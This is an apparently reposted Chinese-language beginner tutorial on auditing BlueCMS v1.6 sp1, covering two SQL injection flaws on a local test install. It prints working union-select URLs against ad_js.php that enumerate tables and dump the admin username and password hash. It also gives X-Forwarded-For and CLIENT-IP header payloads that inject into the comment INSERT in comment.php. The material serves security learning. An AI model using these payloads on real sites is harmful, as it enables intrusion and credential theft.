代碼審計入門之BlueCMS v1.6 sp1


0x00 前言

作為一名代碼審計的新手,網上的大佬們說代碼審計入門的話BlueCMS比較好,所以我就拿BlueCMS練練。(本人實在是一枚新手,請大佬們多多賜教)

0x01 環境准備

 

Phpstudy BlueCMS v1.6 sp1源碼 代碼審計工具(Seay源代碼審計系統)

 

 

0x02 審計過程

拿到一個CMS,有諸多審計方法,我這里的審計方法是黑盒+白盒測試,偏黑盒較多的代碼審計。拿到代碼后我們應該先對其進行功能點的分析,看一看該CMS存在哪些功能,因為我們尋找漏洞,肯定是從網站中的正常功能進行測試,這是黑盒測試的一個方法,挖掘漏洞的核心我認為在於傳參,知道每個傳參的意義是不是就等於知道了代碼會做什么,要做什么呢?

由於本人實力真的有限,只能參考網上流傳最廣的兩個注入進行演示

直接開門見山吧

 

1. 注入一

用Seay源代碼審計系統審計一下看看,我們可以發現有很多可能的注入點,如第一個,在文件:ad_js.php

 

 

 

選中該可能的注入點,右鍵單擊打開文件,就能直接定位到該條語句了,內容如下:

 

 

 getone()是自定義的函數,用來查詢數據庫,代碼如下:(可雙擊選中該函數,然后右鍵單擊定位函數,發現在:/uploads/include/mysql.class.php文件中,雙擊直接可定位到在文件中的位置)

 

 

主要是插入到數據庫查詢語句中的$ad_id沒有經過任何的過濾,因而導致了SQL注入。從代碼中可以看出:

 

 

利用:

先查看有多少字段:

http://127.0.0.1/ad_js.php?ad_id=1 order by 7

當order by 8時報錯

 

所以字段數為8

接着來看數據庫名:

我們先來看回顯在哪

http://127.0.0.1/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,7

這里注意:我們需要在源代碼中查看

 

第7個字段的位置出現了回顯

來查看一下當前數據庫

http://127.0.0.1/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,database()

 

 

 

然后爆表名:

 

 

http://127.0.0.1/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()

 

 

 

表名真的太多,我們這里主要來玩blue_admin這張表

 

爆列名:

http://127.0.0.1/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,GROUP_CONCAT(column_name) from information_schema.columns where table_name=0x626c75655f61646d696e

這里需要將表名轉換為16進制

 

 

獲取用戶名密碼:

http://127.0.0.1/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin

 

是用MD5值,其值為admin:

 

 

 

2. 注入二

再查看Seay發現的可疑注入點,在文件/include/common.fun.php中:

 

 

$ip變量的值從環境變量中獲得,具體代碼如下:(可右鍵點擊查看相應文件內容)

 

 

 

$ip的值可能是從HTTP_CLIENT_IP或HTTP_X_FORWARDED_FOR等變量中獲得;

全局搜索一下使用到這個函數的地方一共有2處,中間那個是函數定義:

 

 

 

我們查看一下第一個文件:(代碼113行,這是一個負責文章評論的代碼文件)

 

 

我們可以看到,通過函數getip()獲取到的$ip變量的值,直接插入到了SQL語句中,接着就執行了。由此可以看出,這里是存在SQL注入的。

 

我們來看一下文章發布部分

從上面的頁面(/comment.php)可以推斷出,SQL注入出現在對文章進行評論的地方,因為之前在發表文章時出現點問題,現將解決的小trick分享給大家:

首先,需要先注冊一個用戶,登陸之后進入到個人資料,有個文章分類,但是我在創建分類的時候老是出現問題,如右所示:

 

 

 

 

 

 

而且通過管理員登陸也不能創建分類,甚是無奈,只能通過修改代碼解決:

我們找到發表文章的頁面:http://localhost/bluecms_v1.6_sp1/uploads/user.php?act=add_news ,將判斷新聞分類的部分注釋掉,這樣就不會因為沒有分類的問題,而導致程序的執行過程被中斷。

 

 

好,那現在我們創建一篇文章,隨意填寫寫內容即可:(步驟:進入個人中心->本地新聞->發布新聞)

回到主頁:

 

 

 

查看下我們剛發布的文章,如下所示:

 

 

利用:

我們回看下那段SQL語句:

$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')"; $db->query($sql);

可以看到,一共有9個參數,而insert語句可以一次插入多條數據,只要們在構造$ip的內容時,閉合掉前面的部分,使之變成完整的語句即可。

X-Forwarded-For

X-Forwarded-For: 00', '1'),('','1','0','1','6',(select concat('<u-',admin_name,'-u><p-',pwd,'-p>') from blue_admin), '1281181973','99

 

在POST數據包頭部添加X-Forwarded-For字段,內容如上:

 

 

通過查看網頁源代碼的方式,我們可以看到admin用戶密碼的hash值:(其值為admin)

 

 

CLIENT-IP

通過CLIENT-IP構造如下:

CLIENT-IP: 1', '1'),('','1','0','1','6',(select concat(admin_name,':',pwd) from blue_admin), '1','1

POST數據包:

 

 

可以看到admin密碼的hash值直接顯示到了頁面上:(時間錯亂了,請忽略)

 

 

本人能力實在有限,先探索到這兒


參考:https://www.cnblogs.com/Hi-blog/p/7990894.html#_label20




免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM